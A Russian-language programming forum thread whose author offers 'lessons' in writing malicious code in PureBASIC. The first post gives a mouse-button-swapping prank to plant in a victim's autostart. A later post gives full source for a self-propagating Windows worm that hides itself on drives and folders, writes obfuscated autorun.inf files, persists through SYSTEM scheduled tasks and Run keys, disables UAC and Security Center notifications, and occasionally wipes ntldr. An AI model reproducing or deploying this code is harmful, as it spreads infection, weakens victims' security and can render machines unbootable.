IPB

Здравствуйте, гость ( Вход | Регистрация )

> Dark side of Programming, PureBASIC
Guevara-chan
сообщение 24 Dec 2006, 19:50 (Сообщение отредактировал Chrono Syndrome - 27 Dec 2006, 11:39)
Сообщение #1

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5936 раз




Традиционно считается, что программирование - созидеательный процесс. И верно. Но есть одно такое интересное "но"... В криво переведенном WarZone 2100 было такое понятие: 'разрушительная структура'. Такие вещи возможны и в программировании... Да, именно так: я (и не только я, чужие статьи только приветствуются !) буду учить вас здесь написанию т.н. "вредоносного кода". Вирусы, трояны, черви, шпионы, все они попадают под это емкое опредение.

Что же, давайте перейдем к делу. Для всех примеров, если не указанно иного, вам потребуется PureBASIC v4.0 (качаем здесь:

http://forum.df2.ru/index.php?showtopic=2851), лучший, ИМХО, из существующих на сегодняшний день ЯВУ. Так же будем совсем не лишним хотя бы минимальное умение на нем писать wink.gif .

Итак, УРОК ПЕРВЫЙ:
Допустим вам хочется подшутить над другом\подругой. Подшутить беззлобно, без потери данных, порчи железа и т.п. вещей. Хочется ? Я помогу smile.gif . Предлагаю поменять местами сигнал от конопок мыши (т.е., чтобы левый клик считался как правый, и наоборот). А потом, через случайный промежуток времени, вернуть все как было. А потом опять поменять... И так до бесконечности wink.gif .

Короче говоря, открываем PureBASIC IDE, и вписываем туда следующий код:

Код
Define FSwap = -1
Repeat : SwapMouseButton_(FSwap)
FSwap = ~FSwap
Delay((Random(4) + 1) * 100)
ForEver

Код примитивнейший, поэтому пояснять ничего не буду, замечу лишь, что API SwapMouseButon, цитирую:

Цитата
reverses or restores the meaning of the left and right mouse buttons.

BOOL SwapMouseButton(

    BOOL fSwap  // reverse or restore buttons
   );


Parameters

fSwap

Specifies whether the mouse button meanings are reversed or restored. If this parameter is TRUE, the left button generates right-button messages and the right button generates left-button messages. If this parameter is FALSE, the buttons are restored to their original meanings.

После этого компилируем прогу, и потихоньку кидаем .EXE'шник (более продвинутые варианты рассмотрим в следующих уроках wink.gif ) жертве в "Автозагрузку". Все, HAVE FUN spiteful.gif . Самое смешное, что многие люди сначала начинают грешить на мышь, и лишь потом до них доходит, что не все-то так просто spiteful.gif ...

Ладно, хватит для начала. Да, кстати, если статья вам понравилась, то можете, не стесняясь, поставить мне плюсик wink.gif .

To be continued...


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
 
Start new topic
Ответов
gamecreator
сообщение 09 Jan 2011, 21:29
Сообщение #2

Яблочный произвол!
Сообщений: 11 080
Спасибо сказали: 3988 раз




ммм... надо антивирус писать
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 09 Jan 2011, 21:43 (Сообщение отредактировал Guevara-chan - 06 Mar 2014, 10:33)
Сообщение #3

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5936 раз




Цитата(gamecreator @ 09 Jan 2011, 21:29) *
ммм... надо антивирус писать

Успехов тебе в этом нелегком начинании. Я же пока лучше поддержу изначальную тему:

Код
; /=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\
; Win32/RunAround hopper v0.36
; Developed in 2011 by Guevara-chan.
; \=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/

EnableExplicit; Essential.

Macro FallBack(); Pseudo-procedure.
SetCurrentDirectory("..") : RandomDir(GetCurrentDirectory())
EndMacro

Macro TryReturning(); Pseudo-procedure...
#TestFile = "_._.._._"; Проверяем возможность записи.
If CreateFile(99, #TestFile) : CloseFile(99)
DeleteFile(#testfile) : ProcedureReturn GetCurrentDirectory()
Else : FallBack(); Иначе - откат назад.
EndIf
EndMacro

Procedure.s RandomDir(Root.s)
Static Counter; Счетчик перелома....
If Counter < 10 : Counter + 1; Избегаем бесконечности.
SetCurrentDirectory(Root); Ставим текущей.
Else : ProcedureReturn GetPathPart(ProgramFilename()) : EndIf
NewList Dirs.s(); Список директорий.
Define I, Analize; Обработка директории (без проблем под XP).
For I = 1 To 10 : Analize = ExamineDirectory(#PB_Any, GetCurrentDirectory(), "*.*")
If Analize : Break : Else : Delay(10) : EndIf; Пытаемся открыть на анализ.
Next I : If Analize = #Null : FallBack() : EndIf; Не получается ? Назад !
While NextDirectoryEntry(Analize)    ; Обработка папки.
If DirectoryEntryType(Analize) = #PB_DirectoryEntry_Directory
AddElement(Dirs()) : Dirs() = DirectoryEntryName(Analize)
If ListSize(Dirs()) > 150 : Break : EndIf; Ну так, на всякий.
EndIf : Wend; Выбираем случайный элемент:
FinishDirectory(Analize); Конец анализу.
SelectElement(Dirs(), Random(ListSize(Dirs()) - 1))
Select Dirs(); Анализируем выбор...
Case ".", ".." : TryReturning(); Пытаемся вернуться директорию.
Default        : ProcedureReturn RandomDir(Root + "\" + Dirs())
EndSelect
EndProcedure

Procedure.s RandomName(Location.s)
Define Z; Дабы не было бесконечного цикла...
Repeat : If Z < 30 : Z + 1 : Else : ProcedureReturn "" : EndIf
Define FName.s = Location + "RA [" + Hex(Random(99999999)) + "].exe"
Delay(10) : Until OpenFile(1, FName) : CloseFile(1)
ProcedureReturn FName
EndProcedure

Procedure RegSetStr(hKey, SubKey.S, ValueName.S, Dat.S)
Define *Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @*Hnd, 0)
RegSetValueEx_(*Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(*Hnd)
EndProcedure

Procedure RegSetInt(hKey, SubKey.S, ValueName.S, Dat.I)
Define *Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @*Hnd, 0)
RegSetValueEx_(*Hnd, @ValueName, 0, #REG_DWORD, @Dat, SizeOf(Integer))
RegCloseKey_(*Hnd)
EndProcedure

Procedure.S Decode64(String.S)
Define DB.S{200}
Base64Decoder(@String, Len(String), @DB, 200)
ProcedureReturn PeekS(@DB)
EndProcedure

Procedure.s WindowDir()
Define TPath.S{#MAX_PATH}
GetWindowsDirectory_(@TPath, #MAX_PATH)
ProcedureReturn TPath
EndProcedure

Procedure MachineCRC()
Define TPath.s {#MAX_COMPUTERNAME_LENGTH}
Define DType = #MAX_COMPUTERNAME_LENGTH
GetComputerName_(@TPath, @DType)
ProcedureReturn CRC32Fingerprint(@TPath, DType)
EndProcedure

Macro InSystem(Drive, SysDir); Pseudo-procedure.
Left(SysDir, Len(Drive)) = Drive
EndMacro

Procedure.s GetSetupPath(RootDir.s, WinDir.s)
#SetupFile = "Setup.exe"
If InSystem(RootDir, WinDir); Если диск системный...
ProcedureReturn "\\.\" + WinDir + "\con." + #SetupFile
Else : ProcedureReturn RootDir + #SetupFile
EndIf
EndProcedure

Procedure.s GetAutoPath(RootDir.s, WinDir.s)
If InSystem(RootDir, WinDir) : ProcedureReturn ""
Else : ProcedureReturn RootDir + "autorun.inf"
EndIf
EndProcedure

Procedure CheckDrive(Letter.c)
Define Root.s = Chr(Letter) + ":\" : Select GetDriveType_(@Root) : Case #DRIVE_CDROM
Case #DRIVE_REMOVABLE To #DRIVE_RAMDISK : ProcedureReturn #True
EndSelect
EndProcedure

Procedure.c GetRandomDrive(ThisFile.s)
#Drives = 'Z' - 'A' - 1
Define *This.Character = @ThisFile, Drives.s{#Drives}, I, DriveMask.l = GetLogicalDrives_(), Drv, *Drive.Character = @Drives
For I = 2 To #Drives : Drv = 'A' + I : If DriveMask & (1 << I) And CheckDrive(Drv) And Drv <> *This\C : Drives + Chr(Drv) : EndIf
Next I : If Drives : *Drive + (Random(Len(Drives) - 1)) * SizeOf(Character)
ProcedureReturn *Drive\C : Else : ProcedureReturn *This\C : EndIf; Возвращаем диск.
EndProcedure

Procedure CrashHandler(); Actually NOP.
; Just doing nothing here. We are out of luck.
EndProcedure

#NullOne = "nul"
#FixedOne = "nul::nul"
#Tasker = "schtasks.exe"
#SQuote = "\" + #DQUOTE$
#RunPrefix = "Run_Around_"
#Command = #PB_Program_Hide | #PB_Program_Wait
#Cloak = #PB_FileSystem_Hidden | #PB_FileSystem_System
#DeleteAll = #PB_FileSystem_Recursive | #PB_FileSystem_Force
#AInfo="W2F1dG9ydW5dJU4lT3Blbj0qJU4lc2hlbGxFeGVjdXRlPSolTiVzaGVsbFxPcGVuXGNvbW1hbmQ9
KiVOJXNoZWxsXE9wZW5cRGVmYXVsdD0x"
#RegDriveBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUG9saWNpZXNcRXhwbG9y
ZXJc"
#RegUACBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUG9saWNpZXNcU3lzdGVt"
#RegRunBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVu"
#RegSecCenterBranch = "U09GVFdBUkVcTWljcm9zb2Z0XFNlY3VyaXR5IENlbnRlcg=="
#Domain = "\\.\"
OnErrorCall(@CrashHandler())
Define MyName.s = Trim(ProgramFilename()), OldName.s = Trim(ProgramParameter()), WinDir.s = WindowDir()
Define I, Root.s = Left(MyName, 3)            ; Получаем корневую директорию.
; Имитируем проводник.
If OldName = "" And LCase(Mid(MyName,2))=":\"+LCase(#SetupFile):RunProgram("explorer.exe",Left(MyName,3),"")
ElseIf LCase(MyName) = LCase(#Domain+WinDir+"\con."+#SetupFile) And OldName = #FixedOne; Если мы стартуем с автозапуска:
RunProgram(#Tasker,"/create /sc minute /mo 30 /tn Auto_Run_Around /ru System /tr "+#DQUOTE$+MyName+#DQUOTE$,"",#Command)
Root = Mid(MyName, Len(#Domain)+1, 3) : EndIf; Начальная подготовка:
ExamineDirectory(0, "", "") : FinishDirectory(0); На случай чего.
If OldName = "" : OldName = #NullOne : EndIf; Переставляем.
If OldName <> #NullOne And OldName <> #FixedOne : DeleteFile(OldName); Если допустимо раскрытие прыжка.
OpenFile(0, Root+"Journey.txt") : FileSeek(0, Lof(0)) : SetFileAttributes(Root+"Journey.txt", #Cloak)
WriteStringN(0, #DQUOTE$+OldName+#DQUOTE$+" -> "+#DQUOTE$+MyName+#DQUOTE$) : CloseFile(0)
EndIf
; Поиск нового пути...
Define TaskName.s = #RunPrefix + Left(Root, 1)            ; Новый идентефикатор.
Define NewName.s = RandomName(RandomDir(Root))            ; Получаем случайную директори..
If NewName                                                ; Если есть, куда прыгать...
SetFileAttributes(MyName, #Cloak) : CopyFile(MyName, NewName); Конечный переход:
RunProgram(#Tasker, "/delete /f /tn " + TaskName, "", #Command); Стираем старое вхождение.
Define JumpPath.s = #DQUOTE$ + #SQuote + NewName + #SQuote; Пути планировщика.
If OldName <> #FixedOne : JumpPath + " " + #SQuote + MyName + #SQuote : EndIf
Else : JumpPath = #DQUOTE$ + MyName                    ; Перепрописываем себя на всякий.
EndIf : RunProgram(#Tasker,"/create minute /mo 1 /tn " + TaskName + " /ru System"+" /tr "+JumpPath+#DQUOTE$, "", #Command)
; А теперь походим по дискам...
Define NewDrive.s, WinDrive.s = Left(WinDir, 3)             ; Готовимся к перебросу в Windows.
If FileSize(GetSetupPath(WinDrive, Windir)) <> FileSize(MyName) : NewDrive = WinDrive; К системе.
ElseIf FileSize(GetSetupPath(Root, Windir)) = FileSize(MyName); Проверяем, доступен ли автозапуск.
NewDrive = Chr(GetRandomDrive(MyName)) + ":\"; Просто бегаем случайным порядком, вдруг чего найдем.
Else  : NewDrive = Root        ; Иначе придется заниматься корневой...
EndIf : NewName = GetSetupPath(NewDrive, WinDir) : SetFileAttributes(NewName, #Cloak); Убираем read-only.
If CopyFile(MyName, NewName) : OldName = GetAutoPath(NewDrive, WinDir)     ; Если удалось скопироваться на диск....
SetFileAttributes(NewName, #Cloak | #PB_FileSystem_ReadOnly)            ; Ставим аттрибуты на всякий.
If OldName; Если треуется файловый автозапуск....
Define InfoText.s = ReplaceString(ReplaceString(Decode64(#AInfo), Decode64("JU4l"), #CR$), Chr('*'), #SetupFile)
DeleteDirectory(OldName, "*.*", #DeleteAll); На всякий случай - удаляем такую папку..
SetFileAttributes(OldName, #Cloak) : CreateFile(0, OldNAme) : SetFileAttributes(OldName, #Cloak)
WriteString(0, InfoText) : CloseFile(0); Вписываем данные и идем дальше.
EndIf; Еще и запускаем на память:
If Root <> NewDrive And Random(3) = 0
RunProgram(NewName, #FixedOne, "") : EndIf
EndIf; Теперь ставим автозапуск:
RegSetStr(#HKEY_LOCAL_MACHINE, Decode64(#RegRunBranch), #RunPrefix + Left(NewName, 1), NewName + " " + #FixedOne)
; Some payloads here...
If MachineCRC() <> 1888994306; Если это не мой PC...
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegDriveBranch), Decode64("Tm9Ecml2ZUF1dG9SdW4="), 0)
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegDriveBranch), Decode64("Tm9Ecml2ZVR5cGVBdXRvUnVu"), 0)
If OSVersion() > #PB_OS_Windows_XP; OS-specific changes would be made here.
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegSecCenterBranch), Decode64("VWFjRGlzYWJsZU5vdGlmeQ=="), 1)
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegUACBranch), Decode64("RW5hYmxlTFVB"), 0)
EndIf; Переходим к более прозаичным вещам:
If Random(99999)=0:WinDrive+"ntldr":SetFileAttributes(WinDrive,#PB_FileSystem_Normal):CreateFile(0,WinDrive):EndIf
EndIf; Расскажу чуток о себе:
DataSection : Data.s "...From creator of W32/Scar.H, with loev..." : EndDataSection

...Самодвижущийся код как примитивный троян. Нет, что-то в этом опредленно есть... Создатель ANIMAL'а был бы мной, наверное, доволен.
Примечание: поскольку я выложила код исключительно в ознакомительных целях, он был (уж не взыщите) слегка подкорректирован в целях предотвращения возможности немедленного использования в деструктивных целях.


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post

Сообщений в этой теме
- Chrono Syndrome   Dark side of Programming   24 Dec 2006, 19:50
- - Bourn   вопросик прога делает это программно через хук? то...   24 Dec 2006, 20:52
- - Chrono Syndrome   Цитатавопросик прога делает это программно через х...   24 Dec 2006, 21:44
- - Vikky   эх, когда деревья были большими, а колбаса вкусной...   25 Dec 2006, 16:10
- - gamecreator   и каково же обьяснение этому? почему так происходи...   25 Dec 2006, 16:18
|- - Vikky   Цитата(gamecreator @ 25 Dec 2006, 17:18)и как...   25 Dec 2006, 16:27
- - Chrono Syndrome   Итак, я думаю настало время приподать вам Урок №2 ...   25 Dec 2006, 17:14
- - izrukvruki   Я бы поставил, но пока не могу, т.к. недавно плюсо...   25 Dec 2006, 17:39
- - gamecreator   ручками. берешь и перебираешь все варианты правда ...   25 Dec 2006, 17:48
- - Chrono Syndrome   ЦитатаХотелось бы узнать если программа провсит вв...   25 Dec 2006, 18:41
- - Avaddon   Я по пакостям не специалист(дружеский кивок в стор...   26 Dec 2006, 02:54
|- - gamecreator   Цитата(Avaddon @ 26 Dec 2006, 02:54)Если кто ...   26 Dec 2006, 11:35
- - Bourn   главное чтоб серийник не генерился по алгоритму за...   26 Dec 2006, 08:26
- - Chrono Syndrome   Цитата1)сколька прога эта будет весить? 6 656 байт...   26 Dec 2006, 10:06
- - Bourn   2 Chrono Syndrome У VC размер 2,5кб 2 gamecreator ...   26 Dec 2006, 17:20
- - izrukvruki   А как работают программки генерации серийников   26 Dec 2006, 17:52
- - Bourn   нет определенных инструкций по их работе но они м...   26 Dec 2006, 19:11
- - Chrono Syndrome   ЦитатаУ VC размер 2,5кб Да ? Ну, бывает ...   27 Dec 2006, 10:29
- - Chrono Syndrome   Вне занятий: Пока писала 3ий урок, впомнила один п...   27 Dec 2006, 15:58
|- - Irh   Цитата(Chrono Syndrome @ 27 Dec 2006, 16:58)В...   29 Dec 2006, 11:02
- - Paladin   ЦитатаПопробуйте запустить, вас ждут незабываемые ...   28 Dec 2006, 20:06
- - Chrono Syndrome   Procedure Lesson3() На прошлом занятии я рассказал...   28 Dec 2006, 21:18
- - Bourn   2 Paladin 2006 запусти эту прогу , сразу говорю он...   28 Dec 2006, 23:36
- - Chrono Syndrome   ЦитатаВообще достаточно непонятно, почему в Window...   29 Dec 2006, 11:09
- - Paladin   Цитата2 Paladin 2006 запусти эту прогу , сразу гов...   29 Dec 2006, 12:10
|- - Bourn   Цитата(Paladin 2006 @ 29 Dec 2006, 12:10)А мо...   30 Dec 2006, 00:43
- - Chrono Syndrome   Alternative Joiner (дополнение к 3ему уроку): У оп...   29 Dec 2006, 12:45
- - Chrono Syndrome   Убить Винду одной процедурой... КодRunProgram...   29 Dec 2006, 13:16
- - Chrono Syndrome   Пьяная, пьяная мишь... © КодDefine X, Y, X1, Y1, ...   29 Dec 2006, 13:57
- - Paladin   Токо не включайте два раза подряд. А то она упадет...   29 Dec 2006, 14:02
- - Berserker   Только такие приколы не всегда проходят. Паладин, ...   30 Dec 2006, 14:35
- - sergroj   Цитата(Chrono Syndrome @ 27 Dec 2006, 19:58)В...   30 Dec 2006, 15:55
- - Рогатый Змий   А как джаве?   30 Dec 2006, 16:09
- - Chrono Syndrome   Mix обоих мышиных приколов: КодGlobal FSwap = -1,...   31 Dec 2006, 11:53
- - Chrono Syndrome   Развлекаемся с клавой... Небольшая, но прикольная ...   11 Jan 2007, 20:14
- - gamecreator   вообще-то она повторяет нажатие буквы каждые 15 се...   11 Jan 2007, 20:32
- - Chrono Syndrome   Цитатавообще-то она повторяет нажатие буквы каждые...   11 Jan 2007, 20:58
- - gamecreator   а че такое #A, #Z, #Seconds? как раз только одной ...   11 Jan 2007, 22:21
- - Ennin   но так же забавнее   12 Jan 2007, 00:25
- - gamecreator   хы. а потом прога вылетит   12 Jan 2007, 01:27
- - Chrono Syndrome   Цитатаа че такое #A, #Z, #Seconds? Константы. Цит...   12 Jan 2007, 17:13
- - Chrono Syndrome   2gamecreator Так, все, кажеться до меня дошло, что...   12 Jan 2007, 17:39
- - gamecreator   да. и рано или поздно память закончится и прога вы...   14 Jan 2007, 09:54
- - Bourn   2 gamecreator а допустим в процедуре (покажу на пр...   14 Jan 2007, 12:16
- - gamecreator   ну я так понял что это цикл в одной функции.   14 Jan 2007, 12:21
- - Bourn   это и есть цикл в одной ф-и, вроде...   14 Jan 2007, 15:31
- - gamecreator   так обьявление переменной внутри цикла   14 Jan 2007, 16:57
- - Bourn   какая разница что ты запишешь объявление переменно...   14 Jan 2007, 18:44
- - gamecreator   никакой. но если обьявить переменную в функции и з...   14 Jan 2007, 18:54
- - Chrono Syndrome   Цитатаникакой. но если обьявить переменную в функц...   14 Jan 2007, 19:09
- - gamecreator   потому что в 1-м и 2-м случаях переменная обьявитс...   14 Jan 2007, 19:40
- - Bourn   с чего ты взял что она будет удаляться? или ты опр...   14 Jan 2007, 19:45
- - gamecreator   ну обычно память под локальные переменные освобожд...   14 Jan 2007, 20:12
- - Darth_Beleg   Память под локальные (автоматические) переменные в...   15 Jan 2007, 23:36
- - Chrono Syndrome   В PureBASIC ситуация обстоит немного по-другому: п...   16 Jan 2007, 11:28
- - Darth_Beleg   Чем меньше область видимости переменной - тем мень...   17 Jan 2007, 08:21
- - sergroj   Только на самом деле переменная вообще создастся н...   07 Feb 2007, 16:59
- - Chrono Syndrome   ЦитатаА если так: Тоже самое.   08 Feb 2007, 16:02
- - sergroj   Криво. В двух модулях переменные с одинаковым имен...   09 Feb 2007, 00:39
|- - Chrono Syndrome   ЦитатаКриво. Меня устраивает. Цитата(sergroj ...   09 Feb 2007, 12:09
- - Chrono Syndrome   ...Прочитала на днях описание семейства вирусов ...   23 Aug 2009, 20:03
- - gamecreator   вот и преимущество FAT   23 Aug 2009, 21:55
|- - nLc   Цитата(gamecreator @ 23 Aug 2009, 21:55)вот и...   25 Aug 2009, 17:41
- - Guevara-chan   Ну вот, кажется время пришло: http://www.eset.eu/e...   03 Jan 2011, 15:46
- - tolich   Он на Мурр-Барсике (Purr-Barsik)?   03 Jan 2011, 15:51
|- - Guevara-chan   Цитата(tolich @ 03 Jan 2011, 15:51) Он на...   03 Jan 2011, 16:02
- - Guevara-chan   http://www.sunbeltsoftware.com/About/Secur...easin...   04 Jan 2011, 14:19
- - gamecreator   судя по описанию по самой первой ссылке - вирус фи...   04 Jan 2011, 15:09
- - Guevara-chan   Именно поэтому я дала еще 4 - для уточнения.   04 Jan 2011, 16:14
- - gamecreator   по третьей - все равно фигня. вирус легко обнаружи...   04 Jan 2011, 16:31
|- - Guevara-chan   Цитата(gamecreator @ 04 Jan 2011, 16:31) ...   04 Jan 2011, 17:00
- - gamecreator   мне больше импонирует принцип действия твоего fxcl...   04 Jan 2011, 19:07
|- - Guevara-chan   Цитата(gamecreator @ 04 Jan 2011, 19:07) ...   04 Jan 2011, 20:18
- - gamecreator   не в том дело, его действие обратимо. т.е. можно в...   04 Jan 2011, 23:25
- - Guevara-chan   Очередная веха хакерской карьеры - таки напилила с...   07 Jan 2011, 14:38
- - packa   Что то не понял, Guevara-chan сделала самый настоя...   07 Jan 2011, 15:37
- - FBX   ЦитатаDefine *Win = GetForegroundWindow_() ...   07 Jan 2011, 15:44
- - gamecreator   легче поставить хук на нажатие клавиши   07 Jan 2011, 17:40
- - Berserker   Не надо обзывать кулхацкерство хакерством.   07 Jan 2011, 18:09
- - Guevara-chan   Цитата и что, работает? Не должно ? ЦитатаЧто то ...   08 Jan 2011, 16:24
|- - gamecreator   Цитата(Guevara-chan @ 08 Jan 2011, 16...   08 Jan 2011, 16:55
- - etoprostoya   Игродел не любит антивирусы, если что. И в данном ...   08 Jan 2011, 17:48
- - Guevara-chan   Цитатачто твои извращения с проверкой нажатых клав...   08 Jan 2011, 18:06
|- - gamecreator   Цитата(Guevara-chan @ 08 Jan 2011, 18...   08 Jan 2011, 18:29
- - FBX   ЦитатаНе должно ? да написал как-то похожий код д...   09 Jan 2011, 00:45
- - Guevara-chan   Цитатаэто ж когда? Вот именно тогда: тебе просто п...   09 Jan 2011, 17:44
- - gamecreator   что такое payload?   09 Jan 2011, 17:57
- - packa   Платить за загрузку   09 Jan 2011, 18:30
- - tolich   http://en.wikipedia.org/wiki/Payload_%28software%2...   09 Jan 2011, 18:41
- - Guevara-chan   ЦитатаПлатить за загрузку Ну вроде того. Сейчас ра...   09 Jan 2011, 20:19
- - FBX   ЦитатаНичем не могу помочь. я не прошу помочь, я т...   09 Jan 2011, 20:53
- - gamecreator   ммм... надо антивирус писать   09 Jan 2011, 21:29
|- - Guevara-chan   Цитата(gamecreator @ 09 Jan 2011, 21:29) ...   09 Jan 2011, 21:43
|- - gamecreator   у тебя просто талант писать нечитаемый код. а где...   09 Jan 2011, 22:00
|- - Guevara-chan   Цитатау тебя просто талант писать нечитаемый код. ...   09 Jan 2011, 22:05
|- - gamecreator   Цитата(Guevara-chan @ 09 Jan 2011, 22...   09 Jan 2011, 22:07
- - FBX   Вот стесняюсь спросить... а зачем вообще выкладыва...   10 Jan 2011, 00:13
- - gamecreator   характер такой наверное. делать людям пакости.   10 Jan 2011, 00:17
|- - Guevara-chan   Цитата(gamecreator @ 10 Jan 2011, 00:17) ...   10 Jan 2011, 12:07
- - etoprostoya   Che Guevara - Chaotic Good. Стоит поменять пол...   10 Jan 2011, 13:26
2 страниц V   1 2 >


Reply to this topicStart new topic
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 



Текстовая версия Сейчас: 7 April 2026 - 06:41
Copyright by Алексей Крючков
Strategy Gamez by GrayMage
Programming by Degtyarev Dmitry
  Яндекс.Метрика